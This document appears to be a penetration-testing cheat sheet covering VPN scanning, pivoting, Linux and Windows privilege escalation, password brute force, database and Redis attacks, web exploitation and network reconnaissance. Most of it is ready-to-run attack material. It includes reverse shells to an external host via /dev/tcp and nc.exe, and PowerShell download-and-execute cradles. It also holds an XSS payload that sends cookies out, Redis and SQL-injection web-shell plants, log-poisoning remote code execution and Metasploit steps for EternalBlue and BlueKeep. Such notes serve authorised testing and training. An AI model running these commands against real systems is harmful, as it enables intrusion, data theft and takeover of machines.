Test for aggressive mode ON:

$ sudo ike-scan -M -A -P -n FAKEID --trans=<TRANSFORM-SET> <IP>

If no hash value is returned then brute force is (maybe also) possible:

$ while read id; do (echo "[+] Valid ID: $id" && sudo ike-scan -M -A -n $id --trans=<TRANSFORM-SET> <IP>) | grep -B14 "1 returned handshake" | grep "Valid ID" |tee -a group-id.txt; done < dict.txt
Or
$ sudo python ikeforce.py <IP> -e -w wordlists/groupnames.dic t <TRANSFORM-SET-IN-SEPARATE-ARGS>

Dicts:
- /usr/share/seclists/Miscellaneous/ike-groupid.txt
- ~/tools/ikeforce/wordlists/groupnames.dic

Discovery #

nmapAutomator # 

$ sudo apt install sslscan nikto joomscan wpscan smbmap enum4linux dnsrecon
$ sudo python3 -m pip install droopescan
$ sudo wget https://github.com/vulnersCom/nmap-vulners/raw/master/vulners.nse -O /usr/share/nmap/scripts/vulners.nse && nmap --script-updatedb
$ git clone https://github.com/21y4d/nmapAutomator ~/tools/nmapAutomator
$ sudo ln -s ~/tools/nmapAutomator/nmapAutomator.sh /usr/local/bin/nmapAutomator.sh

AutoRecon # 

$ sudo apt install seclists curl enum4linux gobuster nbtscan nikto nmap onesixtyone oscanner smbclient smbmap smtp-user-enum snmp sslscan sipvicious tnscmd10g whatweb wkhtmltopdf
$ sudo python3 -m pip install git+https://github.com/Tib3rius/AutoRecon.git

Pivoting #

Chisel #

  1. github.com/jpillora/chisel/releases
  2. snovvcrash.github.io/2020/03/17/htb-reddish.html#chisel-socks
  • Attacker’s IP: 10.10.13.37
  • Victims’s IP: 10.10.13.38

Reverse forward port 1111 from Windows machine to port 2222 on Linux machine:

root@kali:$ wget [1/linux]
root@kali:$ gunzip chisel*.gz && rm chisel*.gz && mv chisel* chisel && chmod +x chisel

root@kali:$ wget [1/windows]
root@kali:$ gunzip chisel*.exe.gz && rm chisel*.exe.gz && mv chisel*.exe chisel.exe && upx chisel.exe
root@kali:$ md5sum chisel.exe

root@kali:$ ./chisel server -p 8000 -v --reverse

PS > (new-object net.webclient).downloadfile("http://<external-server>/chisel.exe", "$env:userprofile\music\chisel.exe")
PS > get-filehash -alg md5 chisel.exe
PS > Start-Process -NoNewWindows chisel.exe client <external-server>:8000 R:127.0.0.1:2222:127.0.0.1:1111

Socks5 proxy with Chisel in server mode:

1. user@victim:$ ./chisel server -p 8000 --socks5 &
2. root@kali:$ ./chisel client <external-server>:8000 socks

Socks5 proxy with Chisel in server mode when direct connection to server is not available (not relevant as Chisel now supports socks5 in client mode):

1. root@kali:$ ./chisel server -p 8000 --reverse
2. user@victim:$ ./chisel client <external-server>:8000 R:127.0.0.1:8001:127.0.0.1:8002 &
3. user@victim:$ ./chisel server -v -p 8002 --socks5 &
4. root@kali:$ ./chisel client 127.0.0.1:8001 1080:socks

Socks5 proxy with Chisel in client mode:

1. root@kali:$ ./chisel server -p 8000 --reverse --socks5
2. user@victim:$ ./chisel client <external-server>:8000 R:socks

revsocks # 

1. root@kali:$ ./revsocks -listen :8000 -socks 127.0.0.1:1080 -pass 'P@ssw0rd123'
2. user@victim:$ ./revsocks -connect <internal-server>:8000 -pass 'P@ssw0rd123'

LPE #

Linux #

Recon #

Find and list all files newer than 2020-03-16 and not newer than 2020-03-17:

user@vict:$ find / -type f -readable -newermt '2020-03-16' ! -newermt '2020-03-17' -ls 2>/dev/null

Find SUID binaries:

# User
find / -type f -perm /4000 -ls 2>/dev/null
# Group
find / -type f -perm /2000 -ls 2>/dev/null
# Both
find / -type f -perm /6000 -ls 2>/dev/null

Tools #

LinEnum.sh:

root@kali:$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh && python3 -m http.server 80
user@vict:$ wget 127.0.0.1/LinEnum.sh -qO- |bash

lse.sh:

root@kali:$ wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh && python3 -m http.server 80
user@vict:$ wget 127.0.0.1/lse.sh -qO- |bash

linPEAS.sh (linPEAS):

root@kali:$ wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh && python3 -m http.server 80
user@vict:$ wget 127.0.0.1/linpeas.sh -qO- |sh

pspy:

root@kali:$ wget [1] && python3 -m http.server 80
user@vict:$ wget 127.0.0.1/pspy -qO /dev/shm/pspy && cd /dev/shm && chmod +x pspy
user@vict:$ ./pspy
  1. github.com/DominicBreuker/pspy/releases

Rootkits #

Dirty COW #

logrotate #

whotwagner/logrotten:

$ curl https://github.com/whotwagner/logrotten/raw/master/logrotten.c > lr.c
$ gcc lr.c -o lr

$ cat payloadfile
if [ `id -u` -eq 0 ]; then (bash -c 'bash -i >& /dev/tcp/<external-server>/9001 0>&1' &); fi

$ ./lr -p ./payload -t /home/j1v37u2k3y/backups/access.log -d

motd #

/etc/update-motd.d/:

root@kali:$ shellpop --reverse --number 8 -H 127.0.0.1 -P 1337 --base64
root@kali:$ echo '<BASE64_SHELL>' >> 00-header
* Fire up new SSH session and catch the reverse shell

PAM MOTD:

Windows #

Recon #

PowerShell history:

PS > Get-Content C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Tools #

winPEAS:

root@kali:$ git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite ~/tools/privilege-escalation-awesome-scripts-suite
root@kali:$ cp ~/tools/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe . && python3 -m http.server 80
PS > (new-object net.webclient).downloadfile('http://127.0.0.1/winPEAS.exe', 'C:\Users\j1v37u2k3y\music\winPEAS.exe')

PowerUp.ps1:

$ curl -L https://github.com/PowerShellMafia/PowerSploit/raw/master/Privesc/PowerUp.ps1 > powerup.ps1
PS > Invoke-PrivescAudit

PowerUpSQL.ps1:

$ curl -L https://github.com/NetSPI/PowerUpSQL/raw/master/PowerUpSQL.ps1 > powerupsql.ps1
PS > Get-SQLInstanceDomain
PS > Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 10 -UserName sa -Password 'P@ssw0rd123' -Verbose
PS > Invoke-SQLOSCmd -UserName sa -Password 'P@ssw0rd123' -Instance sqlsrv01.megacorp.local -Command whoami

Sherlock.ps1:

root@kali:$ wget https://github.com/rasta-mouse/Sherlock/raw/master/Sherlock.ps1 && python3 -m http.server 80
powershell.exe -exec bypass -nop -c "iex(new-object net.webclient).downloadstring('http://127.0.0.1/PowerUp.ps1')"
PS > powershell.exe -exec bypass -c "& {Import-Module .\Sherlock.ps1; Find-AllVulns |Out-File sherlock.txt}"

Watson:

JAWS:

root@kali:$ wget https://github.com/411Hall/JAWS/raw/master/jaws-enum.ps1 && python3 -m http.server 80
PS > powershell.exe -exec bypass -nop -c "iex(new-object net.webclient).downloadstring('http://127.0.0.1/jaws-enum.ps1')"
PS > .\jaws-enum.ps1 -OutputFileName jaws-enum.txt

PrivescCheck:

PS > powershell.exe -exec bypass -c ". .\privesccheck.ps1; Invoke-PrivescCheck -Extended | Tee-Object privesccheck-out.txt"

Windows-Exploit-Suggester:

$ python -u windows-exploit-suggester.py -d 2020-09-02-mssb.xls -i systeminfo.txt --ostext 'windows 10 64-bit' --hotfixes hotfixes.txt | tee wes.log

Registry & Filesystem # 

PS > cmd /c dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
PS > cmd /c where /R C:\ *.ini
PS > reg query HKLM /f "password" /t REG_SZ /s
PS > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | findstr /i "DefaultUserName DefaultDomainName DefaultPassword AltDefaultUserName AltDefaultDomainName AltDefaultPassword LastUsedUsername"
Or
PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | select DefaultPassword
PS > reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" | findstr /i proxy

SDDL #

Potatoes #

foxglovesec/RottenPotato # 

meterpreter > upload [3]
meterpreter > load incognito
meterpreter > execute -cH -f rottenpotato.exe
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
  1. github.com/foxglovesec/RottenPotato
  2. foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/
  3. github.com/foxglovesec/RottenPotato/raw/master/rottenpotato.exe

ohpe/juicy-potato # 

Cmd > certutil -urlcache -split -f http://127.0.0.1/[3] C:\Windows\System32\spool\drivers\color\j.exe
Cmd > certutil -urlcache -split -f http://127.0.0.1/rev.bat C:\Windows\System32\spool\drivers\color\rev.bat
root@kali:$ nc -lvnp 443
Cmd > j.exe -l 443 -p C:\Windows\System32\spool\drivers\color\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

;= rem rev.bat

cmd /c powershell -NoP IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/[4]')
  1. github.com/ohpe/juicy-potato
  2. ohpe.it/juicy-potato/CLSID
  3. github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
  4. github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

decoder/the-lonely-potato #

wuauserv # 

PS > Get-Acl HKLM:\SYSTEM\CurrentControlSet\services\* | format-list * | findstr /i "j1v37u2k3y Users Path ChildName"
PS > Get-ItemProperty HKLM:\System\CurrentControlSet\services\wuauserv
PS > reg add "HKLM\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "C:\Windows\System32\spool\drivers\color\nc.exe 10.10.14.16 1337 -e powershell" /f
PS > Start-Service wuauserv
...get reverse shell...
PS > Get-Service wuauserv
PS > Stop-Service wuauserv

Run as Another User #

PowerShell # 

PS > $cred = New-Object System.Management.Automation.PSCredential('<HOSTNAME>\<USERNAME>', $(ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force))

Invoke-Command with -Credential:

PS > Invoke-Command -ComputerName <HOSTNAME> -ScriptBlock { whoami } -Credential $cred

Invoke-Command with -Session:

PS > $s = New-PSSession -ComputerName <HOSTNAME> -Credential $cred
PS > Invoke-Command -ScriptBlock { whoami } -Session $s

Start-Process with -Credential

PS > Start-Process -FilePath "cmd" -ArgumentList "/c ping -n 1 <external-server>" -Credential $cred

Auth Brute Force #

Hydra # 

root@kali:$ hydra -V -t 20 -f -I -L logins.lst -P /usr/share/john/password.lst 127.0.0.1 -s 8888 smtp
root@kali:$ hydra -V -t 20 -f -I -l admin -P /usr/share/john/password.lst 127.0.0.1 -s 8888 ftp

Patator # 

root@kali:$ patator smtp_login host=127.0.0.1 port=8888 user=FILE0 password=FILE1 0=logins.lst 1=/usr/share/john/password.lst -x ignore:mesg='(515) incorrect password or account name' -x free=user:code=0
root@kali:$ patator ftp_login host=127.0.0.1 port=8888 user=admin password=FILE0 0=/usr/share/john/password.lst -x ignore:mesg='Login incorrect.' -x free=user:code=0

Password Brute Force #

hashcat # 

$ hashcat --example-hashes | grep -B1 -i md5
$ hashcat -m 500 hashes/file.hash /usr/share/wordlists/rockyou.txt --username
$ hashcat -m 500 hashes/file.hash --username --show

Benchmarks:

root@kali:$ nvidia-smi.exe

# MD5
root@kali:$ ./hashcat64.exe -m 0 -b
# NTLM
root@kali:$ ./hashcat64.exe -m 1000 -b
Единица хэшрейта Хэшрейт Хэши в секунду
1kH/s 1000 Тысяча
1MH/s 1000000 Одинмиллион
1GH/s 1000000000 Одинмиллиард
1TH/s 1.000.000.000.000 Одинтриллион
1PH/s 1.000.000.000.000.000 Одинквадриллион
1EH/s 1.000.000.000.000.000.000 Одинквинтиллион
1ZH/s 1.000.000.000.000.000.000.000 Одинсекстиллион

DBMS #

MySQL/MariaDB # 

root@kali:$ mysql -u j1v37u2k3y -p'P@ssw0rd123' -e 'show databases;'

Oracle #

TNS Poison #

Nmap # 

$ sudo wget https://gist.githubusercontent.com/JukArkadiy/3d6cff222d1b87e963e7/raw/fbe6fe17a9bca6ce839544b7afb2276fff061d46/oracle-tns-poison.nse -O /usr/share/nmap/scripts/oracle-tns-poison.nse
$ sudo nmap -v -n -Pn -sV --script=oracle-tns-poison.nse -oA CVE-2014-0160/nmap/tns-poison -p1521 127.0.0.1

odat #

Install:

$ git clone https://github.com/quentinhardy/odat ~/tools/odat && cd ~/tools/odat
$ git submodule init && git submodule update
$ sudo apt install libaio1 python3-dev alien python3-pip
$ wget https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient19.6-basic-19.6.0.0.0-1.x86_64.rpm
$ sudo alien --to-deb *.rpm
$ sudo dpkg -i *.deb
$ vi /etc/profile
...
export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
export PATH=${ORACLE_HOME}bin:$PATH
...
$ pip3 install cx_Oracle
$ python3 odat.py -h

Usage:

$ python3 odat.py tnspoison -s 127.0.0.1 -d CLREXTPROC --test-module

MS SQL #

Enable xp_cmdshell # 

1> EXEC sp_configure 'show advanced options', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> xp_cmdshell 'whoami'
2> GO

sqsh # 

root@kali:$ sqsh -S 127.0.0.1 -U 'MEGACORP\j1v37u2k3y' -P 'P@ssw0rd123'
1> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://<external-server>/shell.ps1')"
2> GO

mssqlclient.py # 

root@kali:$ mssqlclient.py MEGACORP/j1v37u2k3y:'P@ssw0rd123'@127.0.0.1 [-windows-auth]
SQL> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(\"http://<external-server>/shell.ps1\")"

mssql-cli # 

root@kali:$ python -m pip install mssql-cli
root@kali:$ mssql-cli -S 127.0.0.1 -U 'MEGACORP\j1v37u2k3y' -P 'P@ssw0rd123'

DBeaver #

DbVisualizer #

SQLite # 

SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%';
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='secret_database';
SELECT username,password FROM secret_database;

Redis #

Preparation #

Install [1] or [2]:

root@kali:$ mkdir ~/tools/redis-cli-go && cd ~/tools/redis-cli-go
root@kali:$ wget [1] -O redis-cli-go && chmod +x redis-cli-go
root@kali:$ ln -s ~/tools/redis-cli-go/redis-cli-go /usr/local/bin/redis-cli-go && cd -
  1. github.com/holys/redis-cli/releases
  2. github.com/antirez/redis

Check if vulnarable:

root@kali:$ nc 127.0.0.1 6379
Escape character is '^]'.
echo "Hey, no AUTH required!"
$21
Hey, no AUTH required!
quit
+OK
Connection closed by foreign host.

Web Shell # 

root@kali:$ redis-cli -h 127.0.0.1 flushall
root@kali:$ redis-cli -h 127.0.0.1 set pwn '<?php system($_REQUEST['cmd']); ?>'
root@kali:$ redis-cli -h 127.0.0.1 config set dbfilename shell.php
root@kali:$ redis-cli -h 127.0.0.1 config set dir /var/www/html/
root@kali:$ redis-cli -h 127.0.0.1 save

Inject SSH PubKey # 

root@kali:$ ssh-keygen -t ecdsa -s 521 -f key
root@kali:$ (echo -e "\n\n"; cat key.pub; echo -e "\n\n") > key.txt
root@kali:$ redis-cli -h 127.0.0.1 flushall
root@kali:$ cat foo.txt | redis-cli -h 127.0.0.1 -x set pwn
root@kali:$ redis-cli -h 127.0.0.1 config set dbfilename authorized_keys
root@kali:$ redis-cli -h 127.0.0.1 config set dir /var/lib/redis/.ssh
root@kali:$ redis-cli -h 127.0.0.1 save

Web #

LFI/RFI #

PHP RFI with SMB #

/etc/samba/smb.conf:

log level = 3
[share]
        comment = TEMP
        path = /tmp/smb
        writable = no
        guest ok = yes
        guest only = yes
        read only = yes
        browsable = yes
        directory mode = 0555
        force user = nobody

root@kali:$ chmod 0555 /tmp/smb
root@kali:$ chown -R nobody:nogroup /tmp/smb
root@kali:$ service smbd restart
root@kali:$ tail -f /var/log/samba/log.<HOSTNAME>

Log Poisoning #

PHP #

Access log (needs single ' instead of double "):

root@kali:$ nc 127.0.0.1 80
GET /<?php system($_GET['cmd']); ?>

root@kali:$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//var//log//apache2//access.log&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<external-server>%2F1337%200%3E%261%27'
Or
root@kali:$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//proc//self//fd//1&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<external-server>%2F1337%200%3E%261%27'

Error log:

root@kali:$ curl -X POST 'http://127.0.0.1/vuln1.php' --form "userfile=@docx/sample.docx" --form 'submit=Generate pdf' --referer 'http://nowhere.com/<?php system($_GET["cmd"]); ?>'
root@kali:$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//var//log//apache2//error.log&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<external-server>%2F1337%200%3E%261%27'
Or
root@kali:$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//proc//self//fd//2&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<external-server>%2F1337%200%3E%261%27'

SQLi #

sqlmap #

Write file:

$ sqlmap -r request.req --batch --file-write=./backdoor.php --file-dest=C:/Inetpub/wwwroot/backdoor.php

Test WAF:

$ sqlmap.py -u 'https://127.0.0.1/index.php' --data='{"id":"*"}' -p id --identify-waf --tamper='between,randomcase,space2comment' --random-agent --tor --check-tor --thread=1 -b --batch -v6

DIOS #

MySQL:

id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (information_schema.columns) WHERE (@a) IN (@a:=concat(@a,'<font color=red>',table_schema,'</font>',' ::: ','<font color=green>',table_name,'</font>','<br>'))))a);-- -

SELECT (@a) FROM (
	SELECT(@a:=0x00), (
		SELECT (@a) FROM (information_schema.schemata)
		WHERE (@a) IN (@a:=concat(@a,schema_name,'\n'))
	)
) foo

id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (mytable.users) WHERE (@a) IN (@a:=concat(@a,':::',id,':::',login,':::',password)) AND is_admin='1'))a);-- -

Truncation Attack # 

POST /index.php HTTP/1.1
Host: 127.0.0.1

name=j1v37u2k3y&email=admin%example.com++++++++++11&password=qwe12345

Commas blocked by WAF # 

id=-1' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from mysql.innodb_table_stats)b ON 1=1#

Write File # 

id=1' UNION ALL SELECT 1,2,3,4,"<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>",6 INTO OUTFILE 'C:\\Inetpub\\wwwroot\\backdoor.php';#

Read File # 

id=1' UNION ALL SELECT LOAD_FILE('c:\\xampp\\htdocs\\admin\\db.php'),2,3-- -

XSS #

Redirections # 

<meta http-equiv="refresh" content="0; URL=http://www.example.com/" />

Data Grabbers #

Cookies #

Img tag:

<img src="x" onerror="this.src='http://<external-server>/?c='+btoa(document.cookie)">

Fetch:

fetch('https://<SESSION>.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});

XMLHttpRequest #

XSS to LFI # 

var xhr = new XMLHttpRequest;
xhr.onload = function() {
	document.write(this.responseText);
};
xhr.open("GET", "file:///etc/passwd");
xhr.send();

x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText);};x.open("GET","file:///etc/passwd");x.send();

XSS to CSRF #

If the endpoint is accessible only from localhost:

var xhr;
if (window.XMLHttpRequest) {
	xhr = new XMLHttpRequest();
} else {
	xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr.open("POST", "/backdoor.php");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("cmd=powershell -nop -exec bypass -f  \\\\<external-server>\\share\\rev.ps1");

With capturing CSRF token first:

var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('GET', '/email', true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('POST', '/email/change-email', true);
    changeReq.send('csrf='+token+'&email=test@example.com')
};

Web Security Academy #

Upgrade Burp #

Extensions #

BApp Store:

GitHub:

Unsorted # 

$ gobuster dir -u 'http://127.0.0.1' -w /usr/share/wordlists/dirbuster/directory-list[-lowercase]-2.3-medium.txt -x php,asp,aspx,jsp,ini,config,cfg,xml,htm,html,json,bak,txt -t 50 -a 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0' -s 200,204,301,302,307,401 -o gobuster/127.0.0.1
$ nikto -h http://127.0.0.1 -Cgidirs all

Reverse & PWN #

Ghidra #

Download through Tor:

Install:

$ mv /opt/tor-browser/Browser/Downloads/ghidra*.zip ~/tools
$ cd ~/tools && unzip ghidra*.zip && rm ghidra*.zip && mv ghidra* ghidra && cd -
$ sudo apt install openjdk-11-jdk

Engagement # 

root@kali:$ mkdir -p discover/{nmap,masscan} enum/bloodhound loot/ log/ screenshots/ shells/ tickets/ traffic/

Network Status # 

root@kali:$ ip addr (ifconfig)
root@kali:$ ip route (route -n)
root@kali:$ cat /etc/resolve.conf
root@kali:$ arp -a

Host Discovery #

ARP #

arp-scan #

Active:

root@kali:$ arp-scan -l [-s <SPOOFED_IP>] -v
root@kali:$ arp-scan -I eth0 192.168.0.1/24

netdiscover #

Passive:

root@kali:$ netdiscover -i eth0 -r 192.168.0.1/24 -p

Active, sending 20 requests per IP:

root@kali:$ netdiscover -i eth0 -r 192.168.0.1/24 -c 20

Hunting for Subnets #

Take 10.0.0.0/8 as an example:

root@kali:$ nmap -n -sn 10.0-255.0-255.1 -oA subnets/gateways -PE --min-rate 10000 --min-hostgroup 10000
root@kali:$ grep 'Up' subnets/gateways.gnmap |cut -d' ' -f2 > subnets/ranges.txt

root@kali:$ sed -i subnets/ranges.txt -e 's/$/\/24/'

Passive traffic analyze. Look for broadcast/multicast, IPv6 packets:

  • ARP
  • LLMNR, NBNS
  • STP
  • DHCPv6, ICMPv6
  • mDNS

Ping Sweep #

Bash:

root@kali:$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 $NET.$i > /dev/null && echo "$NET.$i" |tee -a hosts/pingsweep.txt &); done
Or
root@kali:$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 "$NET.$i" |grep 'bytes from' |cut -d' ' -f4 |cut -d':' -f1 |tee -a hosts/pingsweep.txt &); done

root@kali:$ sort -u -t'.' -k4,4n hosts/pingsweep.txt > hosts/targets.txt && rm hosts/pingsweep.txt

PowerShell:

PS > $NET="192.168.0";for($i=1;$i -lt 255;$i++){$command="ping -n 1 -w 100 $NET.$i > nul 2>&1 && echo $NET.$i";start-process -nonewwindow "cmd" -argumentlist "/c $command" -redirectstandardoutput "tmp$i.txt"};cat tmp*.txt > sweep.txt
PS > rm tmp*.txt

Nmap:

root@kali:$ nmap -n -sn -iL subnets/ranges.txt -oA hosts/pingsweep -PE
root@kali:$ grep 'Up' hosts/pingsweep.gnmap |cut -d' ' -f2 |sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n > hosts/targets.txt

RMI Sweep #

Remote Management Interfaces:

Port Service
22 SSH
3389 RDP
2222 SSH?
5900 VNC
5985 WinRM
5986 WinRM over SSL/TLS

Nmap:

root@kali:$ nmap -n -Pn -iL subnets/ranges.txt -oA hosts/rmisweep -p22,3389,2222,5985,5986 [--min-rate 1280 --min-hostgroup 256]
root@kali:$ grep 'open' hosts/rmisweep.gnmap |cut -d' ' -f2 |sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n >> hosts/targets.txt

Invoke-Portscan.ps1:

$ curl -L https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/Invoke-Portscan.ps1 > portscan.ps1
PS > Invoke-Portscan -Hosts 127.0.0.1/24 -T 4 -TopPorts 25 -oA localnet

Services #

Nmap XML Parsers #

parsenmap.rb:

root@kali:$ git clone https://github.com/R3dy/parsenmap-rb ~/tools/parsenmap-rb && cd ~/tools/parsenmap-rb
root@kali:$ bundle install && ln -s ~/tools/parsenmap-rb/parsenmap.rb /usr/local/bin/parsenmap.rb && cd -
root@kali:$ parsenmap.rb --help

nmaptocsv:

root@kali:$ git clone https://github.com/maaaaz/nmaptocsv ~/tools/nmaptocsv && cd ~/tools/nmaptocsv
root@kali:$ python3 -m pip install -r requirements.txt csvkit && ln -s ~/tools/nmaptocsv/nmaptocsv.py /usr/local/bin/nmaptocsv.py && cd -
root@kali:$ nmaptocsv.py --help

parsenmap.py:

Ports (Quick) #

Echo:

root@kali:$ IP="0.0.0.0"; for p in $(seq 1 65535); do (timeout 1 bash -c "echo '.' >/dev/tcp/$IP/$port && echo OPEN:$port" >> hosts/ports.txt &) 2>/dev/null; done
root@kali:$ sort -u -t':' -k1,1n hosts/ports.txt > hosts/echo-ports.txt && rm hosts/ports.txt

Netcat:

root@kali:$ seq 1 65535|xargs -n 1|xargs -P 0 -I {} nc -nv -z -w1 0.0.0.0 {} 2>&1| grep -vE "timed out|now in progress|Connection refused"

Nmap:

root@kali:$ nmap -n -Pn -iL hosts/targets.txt -oA services/?-top-ports [--top-ports ? -T4 --min-rate 1280 --min-hostgroup 256]
root@kali:$ grep 'open' services/?-top-ports.gnmap
root@kali:$ parsenmap.rb services/?-top-ports.xml
root@kali:$ nmaptocsv.py -x services/?-top-ports.xml -d',' -f ip-fqdn-port-protocol-service-version-os |csvlook -I

root@kali:$ nmap -n -Pn -iL hosts/targets.txt -oA services/quick-sweep -p22,25,53,80,443,445,1433,3306,3389,5800,5900,8080,8443 [-T4 --min-rate 1280 --min-hostgroup 256]
root@kali:$ grep 'open' services/quick-sweep.gnmap
root@kali:$ parsenmap.rb services/quick-sweep.xml
root@kali:$ nmaptocsv.py -x services/quick-sweep.xml -d',' -f ip-fqdn-port-protocol-service-version-os |csvlook -I

Ports (Full) # 

root@kali:$ nmap -n -Pn -sV -sC -iL hosts/targets.txt -oA services/alltcp-versions -p0-65535 --min-rate 50000 --min-hostgroup 256

Define which NSE scripts ran:

root@kali:$ grep '|_' services/alltcp-versions.nmap |cut -d'_' -f2 |cut -d' ' -f1 |sort -u |grep ':'

Look at HTTP titles:

root@kali:$ grep -i 'http-title' services/alltcp-versions.nmap

Examine version scan:

root@kali:$ parsenmap.rb services/alltcp-versions.xml > services/alltcp-versions.csv
Or
nmaptocsv.py -x services/alltcp-versions.xml -d',' -f ip-fqdn-port-protocol-service-version-os > services/alltcp-versions.csv

Split version scan by service names:

root@kali:$ parsenmap.py -i services/alltcp-versions.xml

AD Environment Names #

Discover domain NetBIOS name:

PS > ([ADSI]"LDAP://megacorp.local").dc

PS > $DomainName = (Get-ADDomain).DNSRoot
PS > (Get-ADDomain -Server $DomainName).NetBIOSName

Discover DCs’ FQDN names:

PS > nslookup -type=all _ldap._tcp.dc._msdcs.$env:userdnsdomain

PS > $ldapFilter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
PS > $searcher = [ADSISearcher]$ldapFilter
PS > $searcher.FindAll()
PS > $searcher.FindAll() | ForEach-Object { $_.GetDirectoryEntry() }
Or
PS > ([ADSISearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))").FindAll() |ForEach-Object { $_.GetDirectoryEntry() }

PS > [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain().DomainControllers.Name

Cmd > nltest /dsgetdc:megacorp.local

PS > $DomainName = (Get-ADDomain).DNSRoot
PS > $AllDCs = Get-ADDomainController -Filter * -Server $DomainName | Select-Object Hostname,Ipv4address,isglobalcatalog,site,forest,operatingsystem

PS > $AllDCs = (Get-ADForest).GlobalCatalogs

PowerView3 > Get-DomainController | Select Name,IPAddress

Discover global catalog:

PS > Get-ADDomainController -Discover -Service "GlobalCatalog"

Discover MS Exchnage servers’ FQDN names:

$ curl -L https://github.com/PyroTek3/PowerShell-AD-Recon/raw/master/Discover-PSMSExchangeServers > discover-exch.ps1
PS > Discover-PSMSExchangeServers | Select ServerName,Description | Tee-Object exch.txt

Discover MS SQL servers’ FQDN names:

$ curl -L https://github.com/PyroTek3/PowerShell-AD-Recon/raw/master/Discover-PSMSSQLServers > discover-mssql.ps1
PS > Discover-PSMSSQLServers | Select ServerName,Description | Tee-Object mssql.txt

NetBIOS Scanning #

nbname (MSF) # 

msf > use auxiliary/scanner/netbios/nbname

LHF Checkers & Exploits #

net_api #

CVE-2008-4250, MS08-067

Check:

msf > use exploit/windows/smb/ms08_067_netapi
msf > check

Exploit:

msf > use exploit/windows/smb/ms08_067_netapi
msf > exploit

EternalBlue #

CVE-2017-0144, MS17-010

Check:

msf > use auxiliary/scanner/smb/smb_ms17_010

Exploit:

msf > exploit/windows/smb/ms17_010_eternalblue

BlueKeep #

CVE-2019-0708

Check:

msf > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep_rce

Exploit:

msf > exploit/windows/rdp/cve_2019_0708_bluekeep_rce

SIGRed #

CVE-2020-1350

Check:

$ curl -L https://github.com/T13nn3s/CVE-2020-1350/raw/master/CVE-2020-1350-checker.ps1 > CVE-2020-1350-checker.ps1
PS > .\CVE-2020-1350-checker.ps1
Please make a selection: 1

Zerologon #

